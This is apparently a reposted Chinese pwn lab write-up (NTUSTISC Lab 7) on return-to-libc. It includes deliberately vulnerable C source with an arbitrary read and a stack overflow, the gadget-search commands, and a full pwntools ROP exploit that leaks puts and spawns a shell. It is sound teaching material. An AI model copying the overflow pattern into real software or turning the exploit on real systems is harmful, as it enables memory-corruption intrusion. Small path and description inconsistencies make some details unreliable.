[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)相关的知识,希望对你有一定的参考价值。

一、要点

  • ROP chain
  • return to libc
  • libc中的地址泄露和定位

二、预备知识

预备知识请参考pwn入门参考资源中的PLT和GOT、ROP部分。

三、题目

这是一道pwn ret2libc的题目,不但给出了二进制文件,也给出了源文件:
题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1uRyQN1dzA0OLsgcn1UtYjg
提取码:vfdl
本次实验对应Lab7

四、解题过程

1、检查保护机制

checksec只有NX,无法平坦的溢出栈空间。
在这里插入图片描述

2、运行查看效果

运行该程序,用户有两个输入点,第一个输入点需要填入一个地址,而后程序会根据把输入的十六进制数作为输入,输出一个值。第二个输入点填充大量字符串时,程序crash,报段错误。
在这里插入图片描述

3、源程序

直接看实验中给出的源码rop.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char addr[16];
  char buf[16];
  printf("You have one chance to read the memory!\\n");
  printf("Give me the address in hex: ");
  read(0, addr, 0x10);
  unsigned long long iaddr = strtoll(addr, 0, 16);
  printf("\\nContent: %lld\\n", *(unsigned long long *)iaddr);
  printf("Give me your messege: ");
  read(0, buf, 0x90);
  return 0;
}

两个read函数用于接收用户的输入,第一个read函数读入一个16进制的值,并把该值作为地址,把地址中的值输出出来,第二个read可读入0x90个字节,有空间足够通过gadget链拼接出shellcode。

4、ROP chain的设计

要拼出的ROP chain与LAB5中的类似,[NTUSTISC pwn LAB 5]rop入门实验,可以直接查看后面的exp。
在栈中填入ROP链接和system的plt所需的参数,利用系统调用打开shell。

5、使用本地libc.so进行分析

这道题可以使用题目给出的libc-2.27.so进行分析,也可以使用本地的so进行分析。本文,使用本地的so进行分析。使用如下命令查看使用的so和版本号:

gdb ret2libc
b main
r
vmmap

在这里插入图片描述
从图中可知链接的so为/lib/x86_64-linux-gnu/libc-2.23.so。

6、泄露puts的地址、定位gadget片段的地址

本题的思路是泄露libc中的函数,该函数必须在第一个read之前执行,虽然有两个printf,但加了换行的printf实际调用的是puts函数,这里我们就来泄露puts函数的地址。假设puts函数的地址为put_addr。而后需进行如下操作来解析:
第一步:解析elf文件,计算puts函数的偏移put_offset,并定位到libc的首地址libc_base = put_addr - put_offset。
第二步:在libc中查找pop rdi, pop rsi, pop rdx, pop rax, syscall的片段,与syscall片段的地址相加,可计算出指令的地址。
syscall查找过程如下,其他略。

ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.23.so >g
cat g | grep "syscall"

在这里插入图片描述
出了上述gadget片段,还需要/bin/sh的地址,查找命令为:

strings /lib/i386-linux-gnu/libc-2.23.so  -tx | grep "/bin/sh"

在这里插入图片描述

7、编写exp

编写的exp为:

from pwn import *

#r = process(["./ret2libc"], env = {"LD_PRELOAD" : "./libc-2.27.so"})
r = process("./ret2libc")
raw_input()

put_got = 0x601018
#put_offset = 0x809c0
put_offset = 0x6f6a0   #2.23 readelf -a /lib/x86_64-linux-gnu/libc-2.23.so| grep "IO_puts"


#r.recvline()
r.recvuntil(': ')
r.send('0x601018')

r.recvuntil('Content: ')
put_addr = int(r.recvuntil('\\n')[:-1])

#print hex(put_addr)

libc_base = put_addr - put_offset

#bin_sh = 0x1b3e9a
bin_sh = 0x18ce57  #2.23

pop_rdi = 0x0000000000021112
pop_rsi = 0x00000000000202f8
pop_rdx = 0x0000000000001b92
pop_rax = 0x000000000003a738
syscall = 0x00000000000bc3f5


r.recvuntil(': ')

p = 'a' * 0x38
p += p64(libc_base + pop_rdi)
p += p64(libc_base + bin_sh)
p += p64(libc_base + pop_rsi)
p += p64(0)
p += p64(libc_base + pop_rdx)
p += p64(0)
p += p64(libc_base + pop_rax)
p += p64(0x3b)
p += p64(libc_base + syscall)

r.send(p)

r.interactive()

运行该脚本后,执行ls命令,可以看出已经拿到了shell:
在这里插入图片描述

五、拓展

这道题作者的本意是绕过pie,但是编译选项中仍然加了-no-pie,我们可以将pie加上去,这时候,exp仍然是可行的。

以上是关于[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)的主要内容,如果未能解决你的问题,请参考以下文章

[NTUSTISC pwn LAB 6]rop&Return to plt实验

[NTUSTISC pwn LAB 2]栈溢出:gdb动态调试bof2

[NTUSTISC pwn LAB 4]gothijacking入门实验

[NTUSTISC pwn LAB 1]栈溢出:gdb动态调试bof

[NTUSTISC pwn LAB 0]新手就能掌握的pwntools接口入门实验

[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验